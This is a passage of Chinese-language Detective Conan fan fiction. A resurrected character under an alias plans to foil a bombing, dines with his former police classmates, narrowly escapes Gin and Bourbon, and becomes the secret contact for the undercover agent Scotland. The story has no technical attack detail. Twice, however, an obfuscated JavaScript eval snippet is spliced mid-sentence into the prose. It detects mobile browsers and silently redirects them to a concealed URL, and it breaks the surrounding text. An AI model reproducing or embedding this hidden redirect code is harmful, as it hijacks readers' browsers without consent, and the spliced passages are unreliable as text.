但让他们无法释怀的,不是资料的完美,而是感觉。 第一次巧合,是在一家旧书店。松田去找一本绝版的机械工程年鉴,在书架深处,看到一个熟悉的背影正踮脚去够最上层一本蒙尘的《临床毒理学:案例与图谱》。那人拿书时,手腕下意识向内扣了一下——一个很细微的动作,是为了防止手部旧伤承重过大的习惯性保护姿势。森川和也右手受伤后,拿重物时总会有这个动作。等那人侧过身,是莫尼科·海耶斯平静的脸。他看到松田,微微点头致意,便拿着书去结账了。 第二次巧合是在警视厅附近一家快餐店。萩原下夜班去吃早饭,看到莫尼科坐在角落,面前放着一杯黑咖啡和一份基本没动的三明治。他吃三明治前,会习惯性地把生菜叶挑出来,堆在餐盘一角——一个无意识的、有点孩子气的挑食习惯。萩原记得,警校食堂吃猪排三明治时,森川和也总是这样做,还振振有词说“生菜的水汽会让面包皮变软,影响口感”。 第三次巧合,是松田在电车上,隔着拥挤的人群听到莫尼科在用手机低声通话,似乎是在和什么人讨论某种化合物的稳定性,夹杂着几个非常冷门的医学术语。那种专注时略微加快的语速,和偶尔卡壳时下意识的“呃……”的停顿方式,像极了森川和也以前被他们问到专业问题时的反应。 无数这样细微的、几乎可以忽略不计的既视感,像细小的水滴,一点一点汇聚,在他们心里漫成一片无法忽视的潮湿疑云。 他们开始偶遇莫尼科。频率不高,地点随机——图书馆、便利店、公园、甚至某次外出执勤的路边。每一次,莫尼科都表现得像个恰巧路过的普通留学生,礼貌、疏离、带着恰到好处的不甚熟悉日式社交规则的笨拙。 “是他吗?”一次深夜在松田的公寓,萩原研二盯着桌上摊开的,关于莫尼科那少得可怜的调查资料,终于问出了口。 松田阵平没有立刻回答,他正在保养自己的配枪零件,动作一丝不苟。“不知道。”他最终说,声音在寂静的房间里有些沉,“DNA能验吗?指纹能对吗?声音能做分析吗?不能。我们什么都没有,只有感觉。” “如果真是他……”萩原的指尖无意识地敲着桌面,“为什么要假死?为什么换身份回来?他留下的U盘里到底有什么?他说的混蛋是谁?他现在做的事,危险吗?” 一连串的问题没有答案。 “更麻烦的是,”松田阵平把组装好的枪放在桌上,发出一声轻响,“如果真是他,他费这么大劲换个身份,一定有必须这么做的理由。可能是保护自己,也可能是保护别人——比如我们。”他看向萩原,“如果我们贸然戳穿,会不会打乱他的计划?会不会把他置于更危险的境地?” “不好说。”萩原研二叹气,“你觉得他现在是什么情况。” 如果真的要隐藏身份,为什么不直接断掉所有的联系?森川和也不是没有理智的人,萩原和松田也不会因为这些缘故生气,可莫尼科就是出现了,像一个甜美的诱饵。 这才是最让他们束手束脚的地方。怀疑像藤蔓缠绕,却不敢用力拉扯,生怕扯断的是连接着对方性命的绳索。他们只能小心翼翼地,以偶遇和观察的方式,靠近这个充满熟悉感的谜团,在每一次看似平常的点头之交里,试图寻找更多支撑或否定猜想的碎片。 而每一次,当他们捕捉到一点类似森川的小动作或习惯时,心底那微弱的希望火苗便会摇曳一下,随即又被更深的担忧覆盖——如果他真是森川,他到底卷入了多可怕的事情,才需要做到死亡这一步? 如果这不是他,那他在生前又经历了什么,以至于所有的回忆和情感都被剖开。 对莫尼科·海耶斯——森川海而言,日历上那个被红圈反复标注的日期,像一块不断逼近的巨石,沉甸甸地压在他的神经上。 十一月七日。 系统记录里清晰冰冷的文字: 【殉职者:萩原研二。 地点:东京都XX区XX町X-X-X号高级公寓XX室。 原因:拆除违规放置的□□时,因犯人远程引爆而殉职。 备注:炸弹犯有两名,主犯于当日被捕,从犯在逃,后于X年X月X日因另案被捕,并供述出于报复警方而引爆。】 他知道地点,知道大致时间,甚至通过后续公开的案件细节和系统提供的一些模糊影像,能大致推测出炸弹犯的相貌和行动模式。 作为一个玩家,解决方案似乎有很多。 方案A:直接控制。提前找到那个炸弹犯或者他的同伙,用点非常规手段,拿走遥控器,或者干脆让他们在当天无法行动。简单,直接,见效快。但风险也极高。这会让他,莫尼科·海耶斯,彻底暴露在事件关联中。警方一定会追查当天所有异常,一个恰好出现在附近、又恰好与炸弹犯有过接触的外国留学生?这简直是主动把自己送到萩原研二和松田阵平面前,他现在的身份可经不起深挖。而且,万一处理过程中留下什么证据,被组织的人顺藤摸瓜……难道继续依赖系统不知道是什么代价的读档吗? 方案B:替换炸弹。在不被发现的情况下提前潜入公寓,将那个致命的□□,替换成一个外观相同但内部是无害填充物的仿制品。这需要极高的潜入技巧、对炸弹结构的了解、以及制作足以乱真的仿制品的能力。坏处是森川和也做不到每一点。好处是隐蔽,只要能成功替换,萩原会在不知情的情况下拆除一个假炸弹,不会有生命危险,事件也会以虚惊一场告终,不会引发大规模调查。 但难点在于操作:如何确保潜入和替换万无一失?如何保证仿制品不被当场看穿?更重要的是,如果替换失败,或者过程中被发现,后果不堪设想。 方案C:以匿名方式向警方或直接向萩原研二发出特定预警。但这太不可控了。警方可能会提高警惕,但也可能打草惊蛇,让炸弹犯改变计划,采取更不可预测的手段。而且,什么样的警告能既让他们重视,又不至于怀疑到自己身上? 方案D:干预拆除现场。在拆除当天,以某种方式出现在现场附近,在爆炸发生的瞬间,做点什么……比如,用系统能力强行制造一个屏障。 这是最坏的办法,近乎放弃后续的一切。但他会在旁边看着,如果一切都失败,那就用系统。 每一个方案都有利弊,每一个选择都可能导致无法预料的连锁反应。他不再是那个可以随意读档只追求任务完成的玩家了,现在每一步,都要考虑对这条时间线、对活着的人可能产生的影响。 他想救的不仅仅是萩原研二的命。他要的是萩原研二能继续活着,作为警察,作为松田阵平的幼驯染,作为那个总是笑得没心没肺却比谁都敏锐可靠的家伙,好好地活下去。同时他不能让其他无辜者因为他的干预而受害,也不能让自己的存在过早暴露,那会危及他更长远的计划——保护更多人,查明系统和组织的真相。 焦虑像藤蔓缠绕着他的心脏,越收越紧。他反复推演每一个细节,模拟各种可能。系统界面上的倒计时数字一天天减少,像催命的鼓点。 最终,他选择了替换炸弹。这是风险相对可控、后续影响最小、也最能保证萩原安全的方式。 至于其他的——直面炸弹爆炸的心理创伤,在拆弹现场抽烟还不穿防护服什么的……自然有人会找松田阵平举报。 小阵平,打了hagi就不能打我了哦。 森川海开始利用莫尼科的身份和之前积攒的一些资源,悄悄地准备。通过特殊渠道购买 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“莫尼科君?我是萩原研二,上次咖啡馆见过的,不好意思突然打扰。我和小阵平——就是我那个戴墨镜的同事——想着上次多亏你帮忙,而且总觉得和你特别投缘,不知道你这周末晚上有没有空?想请你吃个饭,表达一下感谢,顺便交个朋友?当然,如果你对日本警察的日常趣闻感兴趣,我们也可以分享一点不涉密的部分哦。” 森川海,或者说莫尼科,在电话这头愣住了。 心脏在胸腔里漏跳了一拍,随即被一股巨大的,混杂着惊喜、怀念和酸涩的情绪填满。萩原和松田主动约他吃饭?像朋友一样?哪怕他们现在认为的“他”是莫尼科·海耶斯,这种来自他们的、直接的、带着善意的邀请,依然让他有种眼眶发热的冲动。 那些精心伪装的疏离和谨慎,在这份突如其来的邀约面前显得摇摇欲坠。他几乎能想象出他们坐在常去的那家居酒屋,松田一边嫌弃菜式一边吃得飞快,萩原则笑着给他倒酒、讲着工作中的趣事的样子。 他想去。太想去了。 他比自己想象的更想他们。 “……好啊。”莫尼科听到自己的声音说,带着一丝努力压抑却依然泄露的轻快,“我很荣幸。时间和地点是?” 约好细节挂断电话,莫尼科握着手机,嘴角不受控制地向上弯起。连日的焦虑仿佛被这道意外的光芒驱散了一些。他开始不由自主地期待周末的到来,甚至思考起该穿什么衣服,会不会显得太刻意…… 就在这时,另一部加密的手机震动起来。特殊的频率。 是公安的紧急联络线路。 莫尼科脸色一肃,快速走到安全角落,接通。 “海耶斯,”对面是上司一贯冷静的声音,“有个紧急任务需要评估。我们有一名在黑衣组织深度潜入的卧底,近期情报传递渠道有暴露风险,需要紧急启用一条新的、绝对隐秘的单线联络人。这名联络人需要背景干净,与日本警方及地下世界均无明面瓜葛,具备一定的反侦察能力和应变能力,最好有一定的医疗或化学知识背景以备不时之需。更重要的是——心理素质必须绝对过硬,能承受长期孤独和高压。” 上司顿了顿,声音更低了些:“上面评估了几个候选人,你的名字也在列。当然,你现在的留学生身份很完美,这个任务风险极高,一旦暴露,你和卧底都会万劫不复。你可以拒绝——” “我接受。” 莫尼科打断他的话:“我接受。” 电话两端,是漫长的沉默。只有电流的微响。 莫尼科站在昏暗的房间里,窗外是东京璀璨却冰冷的夜景。左手边,是刚刚令他雀跃的、来自旧日同期的晚餐邀请,像短暂而珍贵的温暖假象。右手边,是公安冰冷危险的任务,直接关联着那些他同样想保护的人。 而他的面前,是日历上鲜红的日期。 十一月七日。 所有的一切像湍急的河流,突然在这个深秋的夜晚,交汇于他这个已死之人的脚下。 他不会拒绝的……森川和也死去的父母、在组织里卧底生死不明的降谷零和诸伏景光、消失的赤井秀一……他背负着太多的死亡和希望,注定走向这条未知的道路。 “如果你接受……你会直接负责与那名卧底对接,他的代号是——” 莫尼科屏住了呼吸。 “——‘苏格兰威士忌’。” 17. 017 森川海开始做噩梦了。 有时他是布伦尼文,指间残留着硝烟和威士忌混合的气味,耳边是琴酒的指令。任务失败的场景不断闪回——他不应该有这段记忆的,可子弹穿透心脏太痛了。倒下的瞬间,他总能看到琴酒站在不远处阴影里的侧脸,银发被火光映亮,绿色眼瞳里没有任何波澜,像在审视一件损坏的工具被回收。然后黑暗降临,系统弹出【Bad ending】的字符。 有时他又变回森川和也,站在燃烧的洗衣店外,看着诸伏景光决绝地冲进火海的背影,自己却被PTSD钉在原地,动弹不得,只能眼睁睁看着火焰吞噬一切。 更多梦见的是萩原研二。不是记忆里的样子,而是系统记录中发生过的未来——刺目的火光,轰鸣,飞扬的尘土和碎片,还有那张总是带笑的脸在瞬间被撕裂的定格画面。每一次,他都在梦里徒劳地伸出手,然后惊醒。 死于爆炸的人是不会留下尸体的,可是很痛。森川海记不清自己有没有因爆炸死去过,模糊的记忆中似乎有很多灿烂的火光,但它们来自哪里? 冷汗浸湿了睡衣,脖颈上的旧伤疤在黑暗中隐隐作痛,仿佛在提醒他每一次死亡和修复的代价。森川海坐起身,房间里只有电子时钟幽微的红光显示着凌晨三点十七分。距离和萩原、松田约好的晚餐还有十几个小时,距离那个红色的日期——十一月七日——也越来越近。 睡意全无。一种焦躁的、想要做点什么来驱散心头阴霾的冲动攫住了他。 森川海起身冲了个冷水澡,换了身深色的休闲服,抓起钥匙悄无声息地离开了临时租住的公寓。 凌晨的东京呈现出与白日截然不同的面孔。霓虹灯大多熄灭了,只剩下街灯和零星便利店的光晕,勾勒出建筑物沉默的轮廓。主干道上偶有车辆疾驰而过,轮胎摩擦地面的声音在空旷的街道上显得格外清晰。小巷深处则沉入更浓的黑暗,只有自动贩卖机的荧光寂寞地亮着。空气清冷,带着城市沉睡后沉淀下来的、淡淡的尘埃和金属气息。 高楼缝隙间,能看到一小片深蓝色的夜空,没有星星,只有远处塔楼的红色航空警示灯在规律地明灭。 森川海没有明确目的地,只是沿着寂静的街道漫无目的地走着。冰冷的空气灌入肺叶,稍稍平复了噩梦带来的心悸。他需要这种空旷和寂静,需要暂时从莫尼科和森川和也的身份中抽离,哪怕只是一小会儿。 他拐进一条相对宽阔、两旁多是闭店商铺的街道。就在这时,前方巷口阴影里,两道几乎融入黑暗的身影引起了他的注意。 直觉让森川海瞬间停住脚步,侧身闪进一个报刊亭的背面阴影中,屏住呼吸。 那两人从巷子里走出来,站在路灯照射范围的边缘。即使隔着一段距离,森川海也立刻认出了那标志性的银色长发和黑色礼帽,以及旁边那个壮硕的轮廓。 琴酒、伏特加。 他们似乎在低声交谈什么,伏特加手里拿着手机,屏幕的微光映亮了他墨镜下的半张脸。琴酒则微微侧头,听着,偶尔简短地指示一两句。他们看起来不像在执行涉及人命的即时任务,更像是在进行交接或侦查。 森川海的心跳微微加快,但思维异常冷静。他像一块石头般贴在报刊亭后,利用角度和阴影将自己完全隐藏,尽量降低自己的存在感。琴酒对暗中的目光格外敏锐,因为这事布伦尼文没少在偷看时被拎出来。 他们两个在这里出现,意味着这附近有组织感兴趣的目标。伏特加手里的设备……是在确认信息?还是在追踪什么? 他快速回忆这附近的地形和可能的目标。几家跨国企业的日本分部?某个研究所的备用设施?或者……是某个与组织有牵扯的政府成员? 不能久留。无论他们在做什么,近距离观察琴酒都是极其危险的行为。森川海开始缓慢地向后移动,准备从另一个方向悄然离开。 就在他刚刚退出报刊亭阴影,转身准备步入旁边小巷的瞬间—— 巷口另一边,一个人影恰好拐出来。 两人差点撞个满怀。 森川海下意识后退半步,抬眼看去。 金发,深色皮肤,即使在凌晨昏暗的光线下也异常醒目的混血五官,以及那双紫灰色的、此刻带着一丝被打扰的惊讶、随即迅速转为警惕的眼睛。 降谷零。 时间仿佛凝固了一秒。 森川海的大脑在一瞬间被巨大的惊喜和更巨大的恐慌撕裂。是zero,活的完好无损的zero,警校毕业后就再未亲眼见过的zero。那些共同训练、打闹、受罚、在夜色中聊天到深夜的记忆汹涌而上,巨大的悲伤和喜悦同时出现,几乎要冲垮他的理智。他的嘴唇无意识地动了一下,一个熟悉的称呼几乎要脱口而出—— “Z——” 音节在喉咙里被死死扼住,冰冷的现实在此刻显现出一侧残忍的身影。 他现在是莫尼科·海耶斯。一个理论上刚从英国回来、与日本警界毫无瓜葛的留学生。他不应该认识降谷零。 更何况,身后就是琴酒和伏特加。 降谷零消失后到底在做什么,答案几乎不言而喻。 唯一让森川海稍感慰籍的,大概就是他应该不会在黑衣组织见到诸伏景光——弱智才会让一对幼驯染去同一个组织卧底。 虽然让降谷零这个混血去卧底已经够匪夷所思了。 而在降谷零的视角里,这个陌生青年在看到自己脸的瞬间,眼神里闪过的绝不是寻常路人该有的单纯的惊讶或对混血外貌的好奇。那是更复杂的、仿佛见到熟人的震动,甚至带着一丝几乎要脱口而出的喜悦。虽然对方立刻控制住了,但那瞬间的异常,对于身处黑暗世界、时刻游走于暴露边缘的卧底而言,已经足够敲响警钟。 这个人是谁?他认出了什么?是认出了降谷零还是认出了“波本”? 降谷零的眼神在刹那间变得极其锐利,全身肌肉微微绷紧,进入了随时可以发动攻击或防御的状态。他脸上那丝属于安室透的微笑荡然无存,只剩下冰冷的审视。他没有说话,静静地看着森川,像是在等待对方的下一步动作。 森川海心里咯噔一下。Zero的警惕心被触发了,任何多余的解释或举动此刻都会显得更加可疑。 他强迫自己移开目光,脸上露出恰到好处的带着慌乱和抱歉的表情,用英语低声说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189144|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 了句:“抱歉,没注意到。” 然后,他不再看降谷零,加快脚步,低着头,匆匆从对方身边走过,迅速拐进了另一条岔路,身影很快消失在更深的夜色里。 直到走出很远,确认背后没有跟踪,森川才靠在一面冰冷的墙壁上,缓缓吐出一口浊气。心脏在胸腔里狂跳,后背惊出了一层冷汗。 糟透了。 他在心里叹气。他刚刚差点就喊出来了。这下好了,不仅撞见了琴酒伏特加,还和波本打了个照面,而且明显引起了对方的怀疑…… 我又要死了吗?他无助的想。这个黑衣组织一直在挑衅我。怎么跟鬼一样一直缠着他,阴魂不散,走到哪都能碰上。这就出来散个步而已! 森川海烦躁地抓了抓头发。不行,得立刻离开这片区域。琴酒他们可还没走远,波本也可能在暗中观察。 就在森川准备迅速撤离时,在街道的另一端,降谷零已经收敛了外露的警惕,恢复了平静无波的表情。他看似随意地走到琴酒和伏特加刚才所在位置的附近。 琴酒和伏特加已经结束了交谈,正准备离开。 “刚才过去那个人,”降谷零用属于波本的、带着几分玩味和试探的语气开口,朝着森川离开的方向抬了抬下巴,“我们的人?看着有点眼生。” 琴酒冷漠地瞥了一眼那个方向:“不是。” 他的绿眸中闪过一丝阴鸷。一个陌生人在这个时间出现在这个地点,还恰好与他们擦肩而过?巧合?还是…… “伏特加。”琴酒低声命令。 “是,大哥。”伏特加立刻会意,开始联络附近的底层成员,描述森川的大致外貌和离开方向,要求进行区域搜寻和确认。 降谷零将琴酒的反应尽收眼底,心中了然。看来不是组织的人,但琴酒已经起了疑心,开始追查了。那个陌生青年到底是谁?他刚才的眼神绝对有问题。降谷零不动声色地将莫尼科的样貌特征记在心里,紫灰色的眼睛在昏暗光线下微微眯起。 而另一边,森川海凭借对地形的熟悉和对组织行事风格的了解,如同游鱼般在错综复杂的小巷和夜间尚营业的后街店铺间穿梭,巧妙地避开了可能存在的眼线和搜查。他知道琴酒不会为了一次不确定的“疑似目击”就大动干戈,但必要的排查肯定会有。他必须尽快彻底离开这片区域,回到相对安全的“莫尼科·海耶斯”的日常轨迹中去。 绕了一大圈,确认安全后,他才拖着有些疲惫的步伐往回走。天色已经蒙蒙亮,城市的轮廓在晨曦中逐渐清晰。 “再也不大半夜出门瞎逛了,”他揉着隐隐作痛的额角,下定决心,“容易撞鬼。” 还是撞的双份的。 但是撞鬼玩家也要吃饭。区区黑衣组织怎么可能破坏他和同期的饭局? 回到公寓,洗去夜间的寒意和冷汗,森川海看着镜子里那张熟悉又陌生的脸。 那双深蓝色的眼睛深处是一场不会再熄灭的大火。 手机上,是萩原研二刚刚发来的地址。 【“我们在这里等你哦,期待~”】 来吧。森川海想。 就让他看看命运到底是什么模样。 18. 018 居酒屋的暖帘在夜风里轻轻晃动,灯笼透出暖黄的柔光。 萩原研二选的地方是米花町一条后巷深处的老店,店面不大,木格窗棂,榻榻米座席。不是他们以前常去的那家——那家承载了太多“森川和也”的痕迹——而是另一处他偶尔独自来的安静据点。 莫尼科·海耶斯跪坐在靠里的位置,背后是绘着秋草的旧屏风。他穿着件简单的深灰针织衫,头发染深了些,戴一副平光的细框眼镜,整个人看起来清瘦而文气,像个刚回国的研究生。 但萩原研二看着他倒茶的手势,心尖又掠过一丝熟悉的战栗。 他倒茶时会先用茶壶嘴轻触杯沿——森川和也以前在警校宿舍泡速溶咖啡,也总用开水壶嘴碰一下杯口,说这样能防止温差炸裂。别人都说他小题大做,但他下次还是照旧。 “莫尼科君在日本还习惯吗?”萩原把目光从那只手上移开,笑容自然熟稔,“气候、饮食之类的。” “还好。”莫尼科把茶壶放回托盘,“湿度比伦敦低,冬天干燥些,其他都差不多。”他顿了顿,“咖啡比英国好喝。” 松田阵平坐在萩原旁边,没说话,但从进门起视线就没离开过对面的人。他今天没戴墨镜,那双眼睛在暖黄的灯光下显得格外锐利,像要把莫尼科的皮肉剥开,看看底下究竟藏着谁。 “咖啡啊。”萩原研二笑着接话,“以前有个同期也这么说,说英国的咖啡是刷锅水。他喝咖啡要加糖加奶,三明治要挑掉生菜。”他拿起烤串,状若随意,“莫尼科呢?挑食吗?” 莫尼科手里刚夹起一串鸡肉,闻言筷子在空中顿了半秒。然后他把鸡肉放进碟子里,平静地回答:“不太挑。生菜偶尔会拿掉,水分大会影响面包口感。” 松田的瞳孔微微收缩。 这样的事,第一次是巧合,第二次是偶然,第三次、第四次呢? 烤鱼上桌时,莫尼科把盐烧青花鱼的鱼皮完整地剔到一边,只吃鱼肉。警校食堂的盐烧青花鱼,森川和也每次都把鱼皮挑出来,很没礼貌的堆在餐盘边角,堆成一座小山。 添茶时,他用左手托着茶壶底部,右手握柄。森川和也右手受过伤,拿重物或精细操作时总会下意识用左手辅助。 席间萩原说起最近的一起案件,提到某个化学试剂的名称。莫尼科接口说:“那个稳定剂现在改用第三代了,毒性比之前低。”说完他自己愣了一下,“——之前看过相关论文。” 论文。看过。巧合。 哪有那么多巧合?对面坐着的这个人浑身上下都是疑点。 而莫尼科就在这片疑云的中央,安静地喝着茶,吃着烤串,对一切试探报以温和又略带困惑的微笑。 不承认,不否认。 像一尾滑不留手的鱼,每一次他们以为要抓住了,他又从指缝间溜走。 酒过三巡,萩原研二去柜台加单。榻榻米上只剩松田阵平和莫尼科隔着矮桌相对而坐。 松田没喝酒,面前那杯乌龙茶几乎没动过。他看着莫尼科慢条斯理地把最后一个烤银杏剥壳,放进嘴里,咀嚼,咽下。 然后他开口了,声音压得很低:“你到底是谁?” 莫尼科放下筷子,用餐巾擦了擦嘴角,抬眼看他:“莫尼科·海耶斯。日本人。二十三岁。英国留学生。” “你知道我问的不是这个。” “那我不知道该怎么回答了。”莫尼科的表情很平静,带着一点礼貌的困惑,“松田警官想问什么?” 松田盯着他,喉咙里堵着一团火。他想质问,想拆穿,想揪着对方的领子问“森川和也你他爹到底在搞什么鬼”。但他不能。如果对方否认,他没有证据;如果对方承认,那之后呢?他不知道自己该拿一个死而复生的人怎么办。 憋了整晚的火气终于烧到了临界点。 “——得罪了。” 松田阵平猛地探身越过矮桌,一手扣住莫尼科的左肩,另一只手直接摸向他的侧脸,从下颌线到颧骨再到耳后。 “等——你干什么?!”莫尼科的声音瞬间拔高,身体本能后缩,却被松田按死在屏风前。他下意识抬手去挡,手腕在半路被松田另一只手扣住,像捕兽夹咬住猎物。 “检查易容。”松田的声音从他头顶传来,低沉,带着点咬牙切齿的狠劲。 “我是英国来的但不是同性恋!”莫尼科挣扎,声音里带上了真切的慌乱,“松田你放手!这是骚扰!我要报警——” “你报啊。”松田阵平的手顺着耳廓往后摸索,指腹用力按压发际线和下颌骨的交界处,那里是易容面皮最常见的接缝位置,“我就是警察。” 他的指腹带着常年拆弹磨出的薄茧,划过皮肤时有种粗粝的灼热感。莫尼科被迫仰着头,脖颈拉出一道紧绷的弧线,喉结在松田的掌根下滚动了一下。 居酒屋的灯光暖黄,从松田阵平背后打下来,在他脸上投下阴影。这个角度,莫尼科看不清他的表情,只能看见他紧抿的嘴唇和因为专注而微微蹙起的眉头。 太近了。近到能闻见松田身上淡淡的洗衣液味道,混着一点拆过火药残留的硝烟气息。 熟悉得像昨天。 莫尼科停止了挣扎,安静地任由那双手在他脸上、耳后、下颌处反复摸索。他望着头顶那盏摇晃的纸灯笼,眨了眨眼。 像是要眨干净眼中的水汽。 松田的手在他下颌骨边缘停顿了许久。那里光滑、完整,没有任何人工贴合的痕迹。他不甘心,又顺着脖颈往下摸,指尖触到锁骨上方时—— 莫尼科猛地偏头,挣开了他的手。 “那里没有。”他说,声音有些低。 松田的手悬在半空。他看着莫尼科偏过去的侧脸,看着对方略微急促起伏的胸口,忽然意识到自己刚才做了什么。 他收手,退回去,重新在榻榻米上坐正,抓起那杯已经凉透的乌龙茶灌了一大口。 “……没易容。”他的声音硬邦邦的,像在冬天的室外冻了几个小时。 萩原研二正好端着追加的烤串回来,看见这场面,眉毛挑了挑:“小阵平,你把人家怎么了?” “他摸我脸。”莫尼科指控,声音里还残留着被摁着检查时的余韵,“还摸脖子。他说要看是不是易容。” 萩原研二放下盘子,按住松田的肩,同时向莫尼科欠身,笑容里带着歉意:“抱歉抱歉,小阵平就是这种性子,较真起来不管不顾。他不是故意的,就是太——” “太想确认一些事了。”松田打断他,声音闷闷的。 莫尼科整理好衣领,把歪掉的眼镜扶正,轻轻呼出一口气。他看了松田一眼,那目光里没有愤怒,甚至没有太多被冒犯的尴尬。 “确认完了吗?”他问。 松田没说话。 “确认出什么结果了吗?” 还是沉默。 莫尼科忽然弯起嘴角,那笑意很浅,却让他整张脸都柔和下来:“松田警官的侦查手段,比我想象中要直接。” “你——”松田抬眼,对上莫尼科那双在暖光下显得格外温润的眼睛,准备好的反击突然卡在喉咙里。 “但是,”莫尼科拿起茶杯,轻轻抿了一口,眼睫低垂,“如果你真的怀疑什么……” 说不定那就是真相呢。 他没看松田,也没看萩原。话像是说给自己听的。 萩原研二的目光在两人之间转了转,最终落在莫尼科平静的侧脸上。他什么也没说,只是拿起烤串,继续吃。 松田阵平也没有再追问。 居酒屋里人声喧闹,邻桌有人划拳,老板在后厨喊着“烧鸟七串”。暖帘被夜风掀起一角,露出外面墨蓝的天空。 …… 三天后,森川海坐在新宿一间廉价商住楼的临时安全屋里,面前摊着便宜上司送来的加密文件。 【联络人,代号“绿雉”。 任务:与卧底“苏格兰威士忌”建立联系,每周交换情报,紧急情况下提供后援。 卧底真实身份:绝对保密。即使对联络人也不予透露。】 森川海对着这份文件,眉头拧成了结。 他有一种要做噩梦的感觉。 打开系统面板,查看诸伏景光。 状态:黑衣组织卧底中。 代号:苏格兰威士忌。 眼前一黑,噩梦成真了。 苏格兰威士忌。诸伏景光。 他不知道景光怎么会——但仔细一想,又好像本该如此。降谷零是酒,诸伏景光为什么不能是酒?两个幼驯染,一个公安,一个警视厅公安部?不,诸伏景光原本是警察厅?这些细节他记不太清了,曾经的记忆在他频繁死亡后开始变得有些模糊,像浸了水的纸。 他只知道,现在他的任务是和景光对接。 而诸伏景光不知道他是谁。理论上,这是两个陌生人的初次见面。 上司出于安全考虑,不会告诉卧底联络人的真实身份,也不会告诉联络人卧底的警籍背景。各自盲联。 森川海靠在椅背上,盯着天花板,忽然想笑。 这算什么?命运在跟他开玩笑吗?他从警校毕业,死去,假死,换身份,被迫与所爱之人分离,然后公安直接把他派到了同期的手底下? 他闭上眼,脑海中闪过一束沾着雨水的铃兰。 诸伏景光还活着。活的好好的,可在组织里卧底也是每天在悬崖边行走。 而他现在要成为景光在这条钢丝上的保险绳。 “……行吧。”他睁开眼,声音很轻,带着点认命的笑意,“就当是中间商赚差价了。” 一周目当布伦尼文时,他在组织底层混过两年,后来搭上琴酒的线,以搭档身份接触过不少核心任务。那些关于组织架构、行动模式、重要据点甚至部分高层代号持有者的情报,像一坛被掩埋的酒,沉默地封存在他记忆深处。 之前这些情报无处可用。 他虽然离开了组织,可琴酒还在。布伦尼文是真的爱过琴酒,无论是生前还是死后。 所以他不会泄露组织的情报。 但现在不一样了。 ……他认识了更多人。 越来越多人走向天平对面了……他的同期、他的幼驯染、他的父母。森川海带着沉重的愧疚走向彼岸,身后是布伦尼文黑色的倒影。 他真的爱过琴酒,清水茶柱真的为琴酒死过。 这件事也真的成为了过去。 现在所有的情报有了一个完美的、不会被怀疑的传递对象。 苏格兰威士忌需要一个情报来源。而“绿雉”恰好拥有一些“线人提供”的组织内部信息。 完美闭环。 他打开电脑,开始整理第一条情报——一个组织在关东地区长期使用的安全屋位置,以及与之关联的低阶外围成员名单。 …… 接头地点定在新宿二丁目一家名叫“夜莺”的小酒馆。 森川海提前半小时到达,坐在吧台最靠里的位置,点了一杯苏打水。酒馆灯光昏昧,只有吧台后几排威士忌酒瓶被射灯照得晶亮,琥珀色的液体像凝固的光。 他换了件黑色立领夹克,头发往后梳,露出额头。镜框也摘了,整张脸少了些书卷气,多了几分难以界定的疏离。 ——更像绿雉该有的样子。 其实世界就是一个巨大的草台班子,连他这个刚死不久的人也要被刨出来工作。 门帘响动,有人进来了。 森川海下意识抬头—— 然后他的呼吸漏了一拍。 进来的人穿着深灰色风衣,帽檐压得很低。他在门口略微停顿,视线扫过店内寥寥几桌客人,然后径直走向吧台,在森川海旁边隔一个位置坐下。 “波本十二年,加冰。”他的声音带着沙哑。 酒保转身取酒。那个人的脸在昏暗中只有半个轮廓,但森川海不需要更多。 他认识那道下颌线,认识那个人坐下时习惯性地先整理衣摆,认识他点酒时尾音不易察觉的上扬。 诸伏景光。 森川海的心脏像被人狠狠攥了一下又松开,紧接着涌上来的是近乎荒谬的想要逃避的本能。 完了完了完了,他在这里,我得走—— 然后他反应过来。 不对。 诸伏景光在这里,是因为他就是苏 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17189145|197044||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 格兰威士忌。他就是自己要见的卧底。 不是撞车,不是偶遇。 是任务。 他是“绿雉”。景光是“苏格兰威士忌”。 他们今天是初次见面的陌生人。 森川海缓缓地、深深地吸了一口气,把那颗差点冲出胸腔的心脏按回去。 酒保把威士忌放在诸伏景光面前。诸伏景光端起杯子,没有喝,只是握在掌心感受冰块的凉意。他侧过脸,目光落在森川海身上。 那是极其专业的打量,从发型到衣着,从坐姿到放在吧台上的手。 “绿雉?”他问。 森川海点头:“苏格兰。” 诸伏景光的表情没有变化,但他握着酒杯的手指微微放松了一点。他端起杯子,向森川海的方向轻轻举了举,然后抿了一小口。 “资料上说,你是英国回来的。”他放下杯子,语气像闲聊,“伦敦?” “曼彻斯特。”森川海说。他的日语口音刻意调整过,比以前更平、更接近标准语,“本科曼大,硕士在UCL。” “学生?” “辍学了。现在是无业游民。” 诸伏景光唇角微微动了一下,像是要笑,又忍住了:“公安找无业游民做联络人?” “可能是因为我便宜。”森川海端起苏打水,“而且命不值钱。” 诸伏景光看了他一眼,没接话。 沉默了几秒,森川海从内袋抽出一张折成方形的纸,沿着吧台推过去:“第一次见面,带了个见面礼。” 诸伏景光接过,展开,扫了一眼。他的瞳孔几不可察地收缩。 “……这个据点,”他压低声音,“我从没上报过。” “我的线人刚好拍到有人进出。”森川海把苏打水杯握在掌心,感受那点冰凉的触感,“外围成员的名单在背面,不过是几年前的事了,不确定他们现在的情况。可能没什么用,但可以作为切入点。” 